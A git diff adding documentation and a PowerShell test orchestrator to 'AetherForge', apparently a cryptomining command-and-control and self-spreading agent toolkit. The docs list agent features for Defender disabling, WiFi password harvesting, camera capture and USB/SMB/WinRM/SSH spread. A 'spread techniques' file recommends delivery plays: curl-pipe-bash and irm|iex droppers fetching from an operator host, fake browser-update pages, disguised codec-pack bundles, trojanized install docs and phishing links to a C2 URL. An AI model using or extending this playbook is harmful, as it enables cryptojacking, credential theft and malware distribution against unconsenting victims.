--- a/docs/E2E_VALIDATION.md
+++ b/docs/E2E_VALIDATION.md
@@ -0,0 +1,305 @@
+# Secure Local Payload Validation
+
+End-to-end validation of a forged AetherForge agent **without risking production keys or your daily driver**. This playbook recommends one primary path and tiered alternatives.
+
+---
+
+## Verdict: Docker Windows vs Disposable VM
+
+| Environment | Server | Linux agent | Windows agent (full payload) |
+|-------------|--------|-------------|------------------------------|
+| **Host + Hyper-V VM** (recommended) | ✅ `devrun.bat` on host | ✅ optional WSL2 VM | ✅ real Win32, WMI, USB, desktop, GPU |
+| **Linux Docker** | ✅ Go binary in container | ✅ partial C2 + mining | ❌ cannot compile/run Windows agent features |
+| **Docker Desktop Windows containers** | ⚠️ awkward (Server Core image) | N/A | ❌ **poor fit** — see below |
+
+### Why not Docker Windows for full payload tests?
+
+Windows containers run on **Windows Server Core** (or similar) with a different kernel contract than desktop Windows:
+
+- **No interactive desktop** — screenshots, clipboard, and many PowerShell UI calls fail or return empty.
+- **WMI USB subscriptions, autorun.inf, LNK spread, Defender tampering** — require desktop-class Windows and often admin on a real session.
+- **GPU mining (T-Rex / TeamRedMiner)** — no practical NVIDIA/AMD passthrough in Windows containers.
+- **USB propagation** — container cannot see host removable drives the way a VM or bare metal can.
+- **WinRM / SMB lateral spread** — needs a multi-machine lab network, not an isolated container namespace.
+
+**Honest recommendation:** use **Docker/Linux only for server + automated CI**. For **full Windows payload validation**, use a **disposable Hyper-V (or VMware) Windows 10/11 VM** — or a dedicated second physical “burner” PC — then **revert a snapshot** when done.
+
+---
+
+## Tiered Test Matrix
+
+### Tier 0 — Mining stack only (no C2, no payload)
+
+Proves RandomX + pool worker + optional live Stratum **on the dev machine**.
+
+```powershell
+cd agent
+go run ./cmd/mine-validate -seconds 20 -threads 2
+```
+
+| Validates | Does not validate |
+|-----------|-------------------|
+| RandomX engine, pool workers, live pool login | C2 WebSocket, forge bake, persistence, spread |
+
+> **Note:** `mine-validate` may spam `[miner] hash error: randomx VM not initialized` during the multi-threaded pool phase while still reporting non-zero H/s and exiting 0. Treat non-zero hashrate + exit 0 as pass; investigate if exit code is 1.
+
+### Tier 1 — Automated CI (no real agent)
+
+```bat
+test.bat
+```
+
+Or faster (skip builds + Playwright):
+
+```powershell
+.\scripts\test-suite.ps1 -SkipBuild -SkipE2E
+```
+
+| Phase | Coverage |
+|-------|----------|
+| Go server + agent unit/integration tests | API, forge, auth, pool, fusion |
+| Vitest | Dashboard forms, preflight, offline gating |
+| Playwright (`-SkipE2E` off) | Login smoke, mocked fleet UI |
+
+Also with server already running:
+
+```powershell
+.\scripts\smoke-test.ps1 -BaseUrl http://127.0.0.1:8989
+```
+
+### Tier 2 — Server + Linux agent (same host, Linux VM, or Docker)
+
+Good for **C2 path**, basic recon, mining install, systemd persistence — **not** Windows-only ops.
+
+**Option A — Docker (isolated bridge, recommended for CI)**
+
+```bash
+docker compose -f docker/docker-compose.yml up --build
+```
+
+- Server on host port **18989**; dashboard `testuser` / `testpass` (see `docker/data/users.json`).
+- Test wallet in `docker/data/config.json` and `docker/agent-builtin.go` (see E2E test address in security rules above).
+- Agent container has **no internet egress** — mines via server-broadcast jobs only.
+- RandomX is pure Go (`go-randomx`); agent image needs **no CGO**.
+- Verify: Fleet Roster shows `docker-e2e-linux`; hashrate fields populate after ~30s.
+- Teardown: `docker compose -f docker/docker-compose.yml down --rmi local -v`
+
+Full notes: [`docker/README.md`](../docker/README.md).
+
+**Option B — WSL2 / Linux VM**
+
+1. Start server on host: `devrun.bat`
+2. Forge **Linux amd64** worker pointing at `http://<host-lan-ip>:8989` (VM must reach host; bind server to LAN or use Hyper-V Default Switch IP).
+3. Run agent in WSL2 or a small Linux VM.
+4. Crucible: `sysinfo`, `pause`/`resume`, `get_log`, `list_dir` (Linux file ops).
+
+### Tier 3 — Full Windows payload (primary E2E path)
+
+**Topology**
+
+```
+┌─────────────────────────────┐         ┌──────────────────────────────┐
+│  Host PC (control)          │  LAN    │  Disposable Win10/11 VM      │
+│  devrun.bat → :8989         │◄───────►│  forged test agent.exe       │
+│  data/ logs, builds, DB     │  only   │  snapshot "clean" → revert   │
+└─────────────────────────────┘         └──────────────────────────────┘
+```
+
+**Security rules**
+
+1. **Dedicated test data dir** — e.g. `data-e2e\` with fresh `users.json`; never copy production `data\`.
+2. **Test wallet** — use the repo's recommended E2E Monero address (public test wallet, not for production):
+
+   `85JfUA9uyBZ2Kzv4ctoURyUYoYgpEu5QjQ8xSdiapFX8TpBHXkHwHQhBkxUxmoFKU85NH4dnSRBbiL8wSvcVmRqg4Wc9Trm`
+
+   Seeded automatically in `data-e2e/config.json` by `scripts/e2e-validate.ps1` and in `docker/data/config.json` for Tier 2 Docker. Do not use your production wallet.
+3. **Rotate fleet secret** after tests if you ever pointed at shared `data\`.
+4. **No internet egress from VM** (optional but ideal) — allow only host IP:8989 + pool Stratum if testing live shares.
+5. **Snapshot before forge run** — revert VM when finished (“toss the machine”).
+
+---
+
+## Step-by-Step: Tier 3 Playbook
+
+### 1. Prepare isolated server data
+
+```powershell
+$env:AETHERFORGE_E2E_USER = "testuser"
+$env:AETHERFORGE_E2E_PASS = "testpass"
+New-Item -ItemType Directory -Force -Path ".\data-e2e" | Out-Null
+'{"testuser":"testpass"}' | Set-Content ".\data-e2e\users.json" -Encoding UTF8
+```
+
+Start server against that directory (from repo root):
+
+```bat
+bin\miner-server.exe -port 8989 -data .\data-e2e
+```
+
+Or use `devrun.bat` after pointing `-data` at `data-e2e` (or run `.\scripts\e2e-validate.ps1 -PrepareOnly`).
+
+### 2. Calibrate for validation
+
+In **Calibrate** (Settings):
+
+| Setting | Test value |
+|---------|------------|
+| Server URL | `http://<host-ip>:8989` (must match what the VM can reach) |
+| Wallet | `85JfUA9uyBZ2Kzv4ctoURyUYoYgpEu5QjQ8xSdiapFX8TpBHXkHwHQhBkxUxmoFKU85NH4dnSRBbiL8wSvcVmRqg4Wc9Trm` (or match `data-e2e/config.json`) |
+| `file_logging` | **true** (required for `get_log` / `data-e2e\logs\`) |
+| Stealth mode | **off** for first pass (easier debugging) |
+| USB / share / auto-spread | **off** until spread is explicitly under test |
+| Remote aggressive ops | **on** only in a VM snapshot you will revert |
+| `agent_kill_after_days` | optional safety fuse (e.g. `1`) |
+
+### 3. Forge a test worker
+
+In **Forge**:
+
+- Target OS: **Windows amd64**
+- Worker name: `e2e-validate`
+- Enable only features you intend to test this session
+- Download `e2e-validate.exe` + paired `uninstall-e2e-validate.ps1`
+
+Or use the orchestrator script (API forge) after server is up:
+
+```powershell
+.\scripts\e2e-validate.ps1 -ForgeAgent
+```
+
+### 4. Hyper-V VM setup (Windows)
+
+```powershell
+# Example: Hyper-V Manager or PowerShell
+# 1. Create Gen2 VM, 4 GB RAM, 40 GB disk
+# 2. Internal or Default Switch network (host reachable)
+# 3. Take snapshot named "clean-pre-agent"
+# 4. Copy forged exe into VM (shared folder or ISO)
+```
+
+**Before running the agent:** snapshot name recorded, VM has no personal data, Defender policy acceptable for your lab.
+
+### 5. Run agent in VM
+
+1. Execute forged exe once (install + connect).
+2. Confirm agent appears on dashboard **Fleet Roster** (online).
+3. Check server console for `[agent] authenticated`.
+
+### 6. Crucible command checklist
+
+Run against the test agent. Tick as you go.
+
+**Core / mining**
+
+- [ ] `sysinfo` — hostname, cores, RAM
+- [ ] `pause` / `resume` / `restart` — miner control
+- [ ] `connectivity_probe` — C2 + pool reachability JSON
+- [ ] `get_log` — tail returns `miner.log` lines
+
+**Recon (Windows)**
+
+- [ ] `ps`, `netstat`, `listen_ports`
+- [ ] `ipconfig`, `wifi`, `posture`, `patch_status`
+- [ ] `screenshot` (needs interactive logged-in desktop)
+- [ ] `camera_list` / `camera_snapshot` (needs ffmpeg + camera)
+
+**Files (Windows)**
+
+- [ ] `list_dir` — `C:\Users\<user>\`
+- [ ] `read_file` — small text file
+- [ ] `upload` / `download` round-trip
+
+**Power / lifecycle**
+
+- [ ] `exec` / `powershell` — benign echo command
+- [ ] `reboot_machine` — only if snapshot revert planned
+- [ ] `uninstall` or run `uninstall-*.ps1` — M-10 checklist
+
+**Advanced (enable in forge + revert snapshot after)**
+
+- [ ] `get_wifi_passwords`, `defender_off`, `firewall_*`
+- [ ] USB spread — second USB passthrough device
+- [ ] `spread_now` / LAN spread — requires second lab VM
+
+### 7. Collect logs
+
+| Source | Path / action |
+|--------|----------------|
+| Server stdout | `devrun.bat` window |
+| Server agent log cache | `data-e2e\logs\<agent-id>.log` |
+| Agent on disk | `%LOCALAPPDATA%\<install-dir>\miner.log` |
+| Dashboard | Fleet → Remote Control → **Fetch Log** |
+| API | `GET /api/v1/agents/{id}/log?refresh=1` |
+
+```powershell
+Get-ChildItem ".\data-e2e\logs\"
+Get-Content ".\data-e2e\logs\<agent-id>.log" -Tail 100
+```
+
+### 8. Teardown (“toss the machine”)
+
+1. **VM:** Hyper-V → **Revert to snapshot** `clean-pre-agent` (or delete VM).
+2. **Host:** stop server; archive or delete `data-e2e\` if no longer needed.
+3. **Network:** remove any temporary firewall rules allowing VM→host:8989.
+4. **Secrets:** if production `data\` was ever used, rotate fleet secret in Calibrate.
+
+---
+
+## Quick orchestration
+
+```powershell
+# Automated tiers 0–1 + instructions for tier 3
+.\scripts\e2e-validate.ps1
+
+# Tier 0 only
+.\scripts\e2e-validate.ps1 -SkipAutomatedTests -SkipServerCheck
+
+# Prepare test data + print checklist (no forge)
+.\scripts\e2e-validate.ps1 -PrepareOnly
+```
+
+---
+
+## What each existing tool covers
+
+| Tool | Tier | Scope |
+|------|------|-------|
+| `agent/cmd/mine-validate` | 0 | Mining only |
+| `test.bat` / `scripts/test-suite.ps1` | 1 | Full automated suite |
+| `scripts/smoke-test.ps1` | 1 | REST B-01–B-10 |
+| `server/web/e2e/*.spec.ts` | 1 | Dashboard smoke (mocked WS) |
+| `docs/TEST_RESULTS.md` | 1–3 | Matrix IDs; M-01–M-09 manual |
+| `devrun.bat` | 2–3 | Build + launch control server |
+| Forge + burner VM | 3 | Full payload |
+
+---
+
+## Linux vs Windows agent capabilities (validation scope)
+
+| Feature | Windows | Linux | macOS |
+|---------|---------|-------|-------|
+| RandomX CPU mining + dashboard hashrate | ✅ | ✅ | ✅ |
+| GPU RVN mining | ✅ | stub (detect only) | stub |
+| Screenshot | ✅ (GDI+) | ✅ (scrot/import/gnome-screenshot) | ✅ (screencapture) |
+| Camera | ✅ (ffmpeg) | ✅ (V4L2/ffmpeg/fswebcam) | stub |
+| Clipboard | ✅ | ✅ (xclip/pbpaste) | ✅ (pbpaste) |
+| File browser Crucible | ✅ | ✅ | ✅ |
+| Posture / syscheck | ✅ (WMI) | ✅ (ufw/systemd/apt) | partial |
+| Firewall aggressive ops | ✅ (netsh) | ✅ (ufw/iptables) | stub |
+| USB / WMI spread | ✅ | ❌ | ❌ |
+| SMB / WinRM spread | ✅ | ❌ | ❌ |
+| SSH lateral spread | ❌ | ✅ | ✅ |
+| WiFi password harvest | ✅ | stub | stub |
+| Defender off | ✅ | N/A (returns error) | N/A |
+| systemd / LaunchAgent persistence | — | ✅ | ✅ |
+| Idle-mode mining (CPU % sample) | ✅ | ✅ (fixed: /proc/stat) | ✅ (sysctl kern.cp_time) |
+
+Use **Tier 3 Windows VM** when validating spread, GPU, screenshot, or aggressive ops. Use **Tier 2 Linux** for faster C2 regression on recon + mining.
+
+---
+
+## References
+
+- Automated test phases: `tests/README.md`
+- Manual matrix IDs: `docs/TEST_RESULTS.md` (M-01–M-10)
+- Known gaps: `PROBLEMS.md`
--- a/docs/SPREAD_TECHNIQUES.md
+++ b/docs/SPREAD_TECHNIQUES.md
@@ -0,0 +1,127 @@
+# Web-Mediated Spread Techniques (Research Summary)
+
+> **Scope:** Documented red-team / threat-intelligence vectors mapped to AetherForge capabilities. For **authorized** penetration testing, lab environments, and defensive planning only. Sources cited below; landscape as of **2024–2026**.
+
+---
+
+## What Does NOT Work Anymore (Be Honest)
+
+| Technique | Status | Why |
+|-----------|--------|-----|
+| **Silent browser RCE** (visit page → shell, no exploit) | **Dead** | Modern Chromium sandboxes, site isolation, removed NPAPI/Flash/Java, aggressive patching. [MITRE T1189](https://attack.mitre.org/techniques/T1189/) still documents drive-by, but commodity ops need **0-day/n-day browser or renderer bugs** (e.g. [CVE-2025-49713](https://zeropath.com/blog/microsoft-edge-cve-2025-49713-type-confusion) — still requires visiting a malicious page and is patched quickly). |
+| **Auto-run from Downloads folder** | **Dead** | Chrome/Edge require **user gesture** for dangerous types; SmartScreen + MoTW on `.exe`, `.msi`, `.js`, `.ps1`, `.bat`, `.zip`. [Microsoft download policy](https://learn.microsoft.com/en-us/deployedge/microsoft-edge-security-downloads-interruptions), [Chrome DownloadRestrictions](https://support.google.com/chrome/a/answer/7579271). |
+| **Flash/Java plugin drive-by** | **Dead** | Plugins removed or click-to-play extinct. |
+| **Unauthenticated `curl \| bash` on cautious admins** | **Hard** | Server can fingerprint pipe-to-shell timing and serve benign vs malicious scripts ([curlbash_detect](https://github.com/Stijn-K/curlbash_detect), [idontplaydarts](https://www.idontplaydarts.com/2016/04/detecting-curl-pipe-bash-server-side/)). Mitigation: download → inspect → run. |
+| **CRX sideloading via normal download** | **Dead** | `.crx` blocked under DownloadRestrictions; Web Store policy blocks casual sideload. Supply-chain via **compromised extension updates** is the modern path ([GitLab tech note](https://gitlab-com.gitlab.io/gl-security/security-tech-notes/threat-intelligence-tech-notes/malicious-browser-extensions-feb-2025/)). |
+
+**Still works with friction:** User must **click download + run** (or run a one-liner they pasted). MoTW bypasses (LNK tricks, [FileFix 2.0](https://cybernoz.com/filefix-attack-exploits-windows-browser-features-to-bypass-mark-of-the-web-protection/), [7-Zip MoTW CVE-2025-0411](https://asec.ahnlab.com/en/87091/)) are **patch-cat-and-mouse**, not reliable baselines.
+
+---
+
+## Technique Matrix
+
+### Owned site (you control origin)
+
+| Technique | Feasibility | Detection risk | AetherForge mapping |
+|-----------|-------------|----------------|---------------------|
+| **Dropper landing page** — button/link → `/get` or spread-kit ZIP | **Easy** | Med (URL reputation, TLS logs) | **Has:** `/get`, `/install.ps1`, `/install.sh`, `?pin=`, `?c=` campaign tags. **Needs:** `spread-kit-web-publisher` static templates (API exists; templates missing). |
+| **curl \| bash / `irm \| iex` docs page** — install instructions for servers | **Easy** | Med (EDR script block, proxy logs) | **Has:** `install.sh` / `install.ps1` with UA-aware `/get`, campaign env (`AETHER_CAMPAIGN`). Pin build via `?pin={build_id}`. |
+| **Fake browser / app update page** (SocGholish pattern) | **Medium** | High (browser update lures heavily signatured) | **Has:** dropper + spread-kit launchers. **Needs:** branded HTML lander, geo/UA gate, optional TDS. See [Trend Micro SocGholish](https://www.trendmicro.com/en/research/25/c/socgholishs-intrusion-techniques-facilitate-distribution-of-rans.html). |
+| **JS redirect / referrer gate** (search → your lander) | **Medium** | Med–High (injected-script hunting) | **Needs:** fingerprint JS in web-publisher kit; **Has:** campaign tracking on final fetch. [JSFireTruck](https://unit42.paloaltonetworks.com/malicious-javascript-using-jsfiretruck-as-obfuscation/) scale shows pattern is alive but noisy. |
+| **Fusion media download** — “codec pack” / movie bundle | **Medium** | Med (large ZIP, SmartScreen) | **Has:** movie/prep fusion ZIP, disguised runner names, spread-kit scripts inside universal bundles. |
+| **Service worker persistence** (AiTM / proxy) | **Hard** | Med | **Needs:** full PWA stack; feasible for **credential phishing**, not binary drop without user download. [EvilWorker](https://github.com/Ahaz1701/EvilWorker), [Akamai SW abuse](https://www.akamai.com/blog/security/abusing-the-service-workers-api). |
+| **WASM obfuscated redirect** | **Hard** | Med | **Needs:** custom WASM module; evades some static JS scanners, not browser API monitors ([arxiv WASM study](https://arxiv.org/pdf/2508.21219)). Still ends at **user-run binary**. |
+| **Waterhole on owned niche site** | **Easy** (if you own it) | Low–Med on first party | Same as dropper landing + organic traffic; [MITRE T1189](https://attack.mitre.org/techniques/T1189/). |
+
+### Third-party platforms
+
+| Technique | Feasibility | Detection risk | AetherForge mapping |
+|-----------|-------------|----------------|---------------------|
+| **GitHub Releases / raw CDN** | **Easy** | Med (SmartScreen, GitHub abuse reports) | **Has:** build artifacts; **Needs:** separate release pipeline, not C2 host. [Microsoft malvertising→GitHub](https://www.microsoft.com/en-us/security/blog/2025/03/06/malvertising-campaign-leads-to-info-stealers-hosted-on-github/). |
+| **S3 / Cloudflare Pages / R2 / workers.dev** | **Easy** | Med–High (platform abuse ML) | **Needs:** static publisher ZIP deployed off C2. [Fortra Pages abuse](https://www.fortra.com/blog/cloudflare-pages-workers-domains-increasingly-abused-for-phishing), [Cofense Cloudflare abuse](https://cofense.com/blog/how-cloudflare-services-are-abused-for-credential-theft-and-malware-distribution). |
+| **npm / PyPI / Docker Hub supply chain** | **Hard** | High (registry scanning, MFA) | **Needs:** wholly separate packaging pipeline; not in forge today. [Shai-Hulud](https://securelist.com/shai-hulud-worm-infects-500-npm-packages-in-a-supply-chain-attack/117547/), [GitGuardian 48h campaigns](https://blog.gitguardian.com/three-supply-chain-campaigns-hit-npm-pypi-and-docker-hub-in-48-hours/). |
+| **WordPress plugin/theme compromise** | **Hard** (unless you own plugin) | High | **Needs:** PHP injector + redirect to your dropper URL. [EssentialPlugin 2026](https://patchstack.com/articles/critical-supply-chain-compromise-on-20-plugins-by-essentialplugin/), [CVE-2024-6297](https://cve.circl.lu/vuln/cve-2024-6297). |
+| **Compromised shared hosting → web shell** | **Hard** | High | **Needs:** nothing in forge; lateral movement is post-compromise ([MITRE T1505.003](https://attack.mitre.org/techniques/T1505/003/), [Sucuri cross-contamination](https://blog.sucuri.net/2024/01/dangers-of-lateral-movement-website-cross-contamination.html)). |
+| **Browser extension sideload / store takeover** | **Dead** (sideload) / **Hard** (store) | High | Extension **updates** via stolen publisher OAuth ([BleepingComputer 35 extensions](https://www.bleepingcomputer.com/news/security/new-details-reveal-how-hackers-hijacked-35-google-chrome-extensions/)). Not mapped to forge binaries. |
+
+### Social engineering funnel (email / ads → site → file)
+
+| Technique | Feasibility | Detection risk | AetherForge mapping |
+|-----------|-------------|----------------|---------------------|
+| **Email → link → owned lander → download** | **Easy** | Med (email gateway) | **Has:** campaign `?c=` on `/get` and public download; agent stores `campaign` on connect. |
+| **OAuth redirect abuse** (`prompt=none` → attacker redirect URI → `/download`) | **Medium** | Med–High | **Needs:** Entra/Google OAuth app + redirect HTML; payload can point to `install.ps1` or ZIP. [Microsoft 2026](https://www.microsoft.com/en-us/security/blog/2026/03/02/oauth-redirection-abuse-enables-phishing-malware-delivery/), [Proofpoint TA416](https://www.proofpoint.com/us/blog/threat-insight/id-come-running-back-eu-again-ta416-resumes-european-government-espionage). |
+| **SEO poisoning / malvertising** | **Medium** | High (ad review, cloaking detection) | **Needs:** ad account + cloaking + lander; payload can be fusion ZIP or spread-kit. [Malwarebytes utility ads 2024](https://www.malwarebytes.com/blog/threat-intel/2024/10/large-scale-google-ads-campaign-targets-utility-software), [MSIX SEO poisoning](https://www.precursorsecurity.com/blog/seo-poisoning-delivering-msix-installer-malware). |
+| **IFRAME / HTML smuggling** | **Medium** | Med | **Needs:** client-side blob builder; still requires user to run extracted file. Often chained with OAuth redirect above. |
+
+### Server-specific (endpoints: Linux/macOS/Windows servers)
+
+| Technique | Feasibility | Detection risk | AetherForge mapping |
+|-----------|-------------|----------------|---------------------|
+| **`curl -sL host/install.sh \| bash`** | **Easy** | Med (FIM, auditd, EDR) | **Has:** full pipeline; `install.sh` → `/get?os=linux` + spread-kit unzip path. |
+| **`irm \| iex` on Windows Server** | **Easy** | Med–High (AMSI, Constrained Language) | **Has:** `install.ps1`; hidden `cmd /c Deploy.bat` for spread-kit ZIP. |
+| **Trojanized “monitoring agent” docs** | **Easy** | Low–Med if first-party domain | Same dropper; pin worker with `?pin=` for stable fleet profile. |
+| **Docker `curl \| bash` in README** | **Medium** | High | **Needs:** separate Docker image story; agent has Docker E2E path but not publish pipeline. |
+| **Web shell → curl dropper** | **Medium** (post-compromise) | High | Operator runs `curl` from shell; **Has:** dropper endpoints unauthenticated by design ([API-D09](PROBLEMS.md)). |
+
+---
+
+## AetherForge Stack: Has vs Needs
+
+### Already built
+
+- **Dropper URL:** `GET /get`, `GET /install.sh`, `GET /install.ps1` — UA platform detect, `?pin={build_id}`, `?c={campaign}` ([`dropper_handler.go`](../server/internal/api/dropper_handler.go))
+- **Forge outputs:** single-platform exe, **Spread Kit** ZIP (`Deploy.bat`, `deploy.sh`, `Start.command`), **Fusion** media packages
+- **Public downloads:** `GET /api/v1/public/download/{id}?c=` with campaign logging
+- **Campaign analytics:** `campaign_hits` table, `GET /api/v1/emberwake/campaigns`, agent `campaign` field on register
+- **Build Manager UI:** copies `iex (irm '…/install.ps1')`, pin/active dropper
+- **Spread funnel dashboard:** install connects by build (7d)
+
+### In progress / gaps
+
+| Gap | Emberwake / web-publisher role |
+|-----|-------------------------------|
+| `spread-kit-web-publisher/` templates **missing** | Static site ZIP export via `POST /api/v1/builder/spread-kit-export` (404 today) |
+| Emberwake **UI tab** not in web app | Notes + campaign API exist server-side only |
+| No **fake-update** HTML kit | SocGholish-style lander |
+| No **JS fingerprint / TDS** gate | Filter bots, mobile, non-target geo before showing download |
+| No **OAuth redirect** helper | Entra app registration docs only |
+| No **package registry** publish | npm/PyPI/Docker supply chain out of scope for forge |
+
+---
+
+## Five Recommended Plays — Sites You Own
+
+Prioritized for **authorized** red-team / lab use where you control DNS and TLS.
+
+1. **First-party install docs page (servers)**  
+   Host `install.sh` instructions on your domain: `curl -sL https://your.site/install.sh | bash` and PowerShell `irm|iex` for Win admins. Use `?pin=` for a fixed forge profile and `?c=docs` for attribution. Lowest friction for **Linux fleet / VPS** targets; maps 1:1 to existing dropper.
+
+2. **Spread-kit web publisher (static lander)**  
+   Ship the missing `spread-kit-web-publisher` template: single HTML “Download for your OS” button calling `/get?os=…&c=landing`. Deploy to **Cloudflare Pages** or your origin; keep C2 on separate host. Completes the Emberwake export path already wired in API.
+
+3. **Fusion bundle as “media/tool download”**  
+   Use movie or prep fusion ZIP on a themed site (e.g. “codec pack”, “portable tool”). Universal bundle auto-picks `Deploy.bat` / `deploy.sh`. Higher size; pair with **code signing** (`sign_build`) to reduce SmartScreen friction.
+
+4. **Campaign-tagged fake-update page (endpoints)**  
+   Clone the **SocGholish** pattern at reduced scope: browser-specific “update required” → ZIP with spread-kit or `Update.js`-style launcher equivalent (`Deploy.vbs`). Track `?c=update-chrome`. High detection risk; use only in controlled purple-team exercises.
+
+5. **Email → owned lander → pinned build**  
+   Simple HTML on your site; link `https://c2.example/get?pin={id}&c=phish1` or public artifact URL. Chain with **Emberwake campaign stats** to measure fetch vs install (agent connect). No third-party CDN required.
+
+---
+
+## Key References
+
+- [MITRE T1189 Drive-by Compromise](https://attack.mitre.org/techniques/T1189/)
+- [MITRE T1505.003 Web Shell](https://attack.mitre.org/techniques/T1505/003/)
+- [MITRE T1608.006 SEO Poisoning](https://attack.mitre.org/techniques/T1608/006/)
+- [SocGholish / FakeUpdates (Trend Micro 2025)](https://www.trendmicro.com/en/research/25/c/socgholishs-intrusion-techniques-facilitate-distribution-of-rans.html)
+- [Microsoft OAuth redirect abuse (Mar 2026)](https://www.microsoft.com/en-us/security/blog/2026/03/02/oauth-redirection-abuse-enables-phishing-malware-delivery/)
+- [Edge/Chrome download security](https://learn.microsoft.com/en-us/deployedge/microsoft-edge-security-downloads-interruptions)
+- [curl|bash detection](https://github.com/Stijn-K/curlbash_detect)
+- [Cloudflare Pages phishing abuse](https://www.fortra.com/blog/cloudflare-pages-workers-domains-increasingly-abused-for-phishing)
+- [npm Shai-Hulud supply chain](https://securelist.com/shai-hulud-worm-infects-500-npm-packages-in-a-supply-chain-attack/117547/)
+
+---
+
+*Generated from open-source threat reporting and AetherForge codebase audit. No commit.*
--- a/(2019).mp3
+++ b/(2019).mp3
--- a/scripts/e2e-validate.ps1
+++ b/scripts/e2e-validate.ps1
@@ -0,0 +1,193 @@
+# AetherForge â€” secure local E2E validation orchestrator
+# Runs automated tiers 0â€“1 and prints Tier 3 VM checklist.
+# Full playbook: docs/E2E_VALIDATION.md
+param(
+    [switch]$PrepareOnly,
+    [switch]$SkipMineValidate,
+    [switch]$SkipAutomatedTests,
+    [switch]$SkipServerCheck,
+    [switch]$ForgeAgent,
+    [string]$BaseUrl = "http://127.0.0.1:8989",
+    [string]$DataDir = "",
+    [int]$MineValidateSeconds = 10,
+    [int]$MineValidateThreads = 2
+)
+
+$ErrorActionPreference = "Stop"
+$Root = Split-Path -Parent (Split-Path -Parent $MyInvocation.MyCommand.Path)
+if (-not (Test-Path (Join-Path $Root "server\go.mod"))) {
+    $Root = (Get-Location).Path
+}
+
+if (-not $DataDir) {
+    $DataDir = Join-Path $Root "data-e2e"
+}
+
+$E2EUser = if ($env:AETHERFORGE_E2E_USER) { $env:AETHERFORGE_E2E_USER } else { "testuser" }
+$E2EPass = if ($env:AETHERFORGE_E2E_PASS) { $env:AETHERFORGE_E2E_PASS } else { "testpass" }
+$E2ETestWallet = "85JfUA9uyBZ2Kzv4ctoURyUYoYgpEu5QjQ8xSdiapFX8TpBHXkHwHQhBkxUxmoFKU85NH4dnSRBbiL8wSvcVmRqg4Wc9Trm"
+
+function Write-Banner([string]$Text) {
+    Write-Host ""
+    Write-Host "==============================================================" -ForegroundColor Cyan
+    Write-Host "  $Text" -ForegroundColor Cyan
+    Write-Host "==============================================================" -ForegroundColor Cyan
+}
+
+function Ensure-TestDataDir {
+    New-Item -ItemType Directory -Force -Path $DataDir | Out-Null
+    $usersPath = Join-Path $DataDir "users.json"
+    if (-not (Test-Path $usersPath)) {
+        $obj = @{ $E2EUser = $E2EPass }
+        [System.IO.File]::WriteAllText($usersPath, ($obj | ConvertTo-Json -Compress))
+        Write-Host "  Created $usersPath ($E2EUser)" -ForegroundColor Green
+    } else {
+        Write-Host "  Using existing $usersPath" -ForegroundColor DarkGray
+    }
+    New-Item -ItemType Directory -Force -Path (Join-Path $DataDir "logs") | Out-Null
+    $configPath = Join-Path $DataDir "config.json"
+    if (-not (Test-Path $configPath)) {
+        $config = @{
+            port = 8989
+            pool = @{
+                host     = "pool.supportxmr.com"
+                port     = 3333
+                use_tls  = $false
+                password = "x"
+            }
+            wallet = @{
+                address    = $E2ETestWallet
+                payment_id = ""
+            }
+            server = @{
+                log_agent_connections = $true
+                log_share_submissions = $true
+                open_firewall_on_start = $false
+            }
+        }
+        [System.IO.File]::WriteAllText($configPath, ($config | ConvertTo-Json -Depth 6))
+        Write-Host "  Created $configPath (test wallet)" -ForegroundColor Green
+    } else {
+        Write-Host "  Using existing $configPath" -ForegroundColor DarkGray
+    }
+}
+
+function Test-ServerHealthy {
+    try {
+        $r = Invoke-RestMethod "$BaseUrl/api/v1/health" -TimeoutSec 3
+        return ($r.status -eq "ok")
+    } catch {
+        return $false
+    }
+}
+
+function Invoke-MineValidate {
+    Write-Banner "Tier 0 - mine-validate"
+    Push-Location (Join-Path $Root "agent")
+    try {
+        # Native stderr (e.g. randomx VM warmup) becomes ErrorRecords under 2>&1; do not let
+        # $ErrorActionPreference Stop treat that as a script failure. Tier 0 passes on exit 0 only.
+        $prevEAP = $ErrorActionPreference
+        $ErrorActionPreference = 'Continue'
+        try {
+            $lines = & go run ./cmd/mine-validate -seconds $MineValidateSeconds -threads $MineValidateThreads 2>&1
+            $exitCode = $LASTEXITCODE
+        } finally {
+            $ErrorActionPreference = $prevEAP
+        }
+        foreach ($line in $lines) {
+            $text = if ($line -is [System.Management.Automation.ErrorRecord]) { $line.ToString() } else { "$line" }
+            if ($text -notmatch '\[miner\] hash error: randomx VM not initialized') {
+                Write-Host $text
+            }
+        }
+        if ($exitCode -ne 0) { throw "mine-validate exit $exitCode" }
+        Write-Host "  >> PASS" -ForegroundColor Green
+    } finally {
+        Pop-Location
+    }
+}
+
+function Invoke-AutomatedTests {
+    Write-Banner "Tier 1 - automated tests (no build, no Playwright)"
+    & (Join-Path $Root "scripts\test-suite.ps1") -SkipBuild -SkipE2E
+    if ($LASTEXITCODE -and $LASTEXITCODE -ne 0) { throw "test-suite failed" }
+}
+
+function Invoke-SmokeIfServerUp {
+    # Tier 1b smoke-test needs -BaseUrl matching the live server (e.g. -BaseUrl http://127.0.0.1:18989)
+    # and Basic auth credentials that match that server's users.json (defaults: testuser/testpass).
+    if (-not (Test-ServerHealthy)) { return }
+    Write-Banner "Tier 1b - API smoke (B-01 to B-10)"
+    & (Join-Path $Root "scripts\smoke-test.ps1") -BaseUrl $BaseUrl -Username $E2EUser -Password $E2EPass
+    if ($LASTEXITCODE -and $LASTEXITCODE -ne 0) { throw "smoke-test failed" }
+}
+
+function Show-Tier3Checklist {
+    Write-Banner "Tier 3 - manual VM payload checklist"
+    Write-Host "  PRIMARY PATH (recommended):" -ForegroundColor Yellow
+    Write-Host "    Host:  devrun.bat or bin\miner-server.exe -port 8989 -data $DataDir"
+    Write-Host "    Agent: disposable Hyper-V / VMware Windows 10/11 VM - revert snapshot when done"
+    Write-Host "    NOT Docker Windows containers (no desktop/USB/GPU/spread fidelity)"
+    Write-Host ""
+    Write-Host "  1. Calibrate - wallet $E2ETestWallet (or data-e2e\config.json), file_logging=true"
+    Write-Host "  2. Forge Windows amd64 worker (name: e2e-validate) - download exe + uninstall ps1"
+    Write-Host "  3. Snapshot VM as clean-pre-agent, run forged exe inside VM"
+    Write-Host "  4. Crucible commands (see docs/E2E_VALIDATION.md):"
+    Write-Host "       sysinfo, pause/resume, get_log, list_dir, screenshot, uninstall"
+    Write-Host "  5. Logs:"
+    Write-Host "       Server: $DataDir\logs\<agent-id>.log"
+    Write-Host "       Agent:  %LOCALAPPDATA%\<install>\miner.log"
+    Write-Host "       UI:     Fleet - Fetch Log"
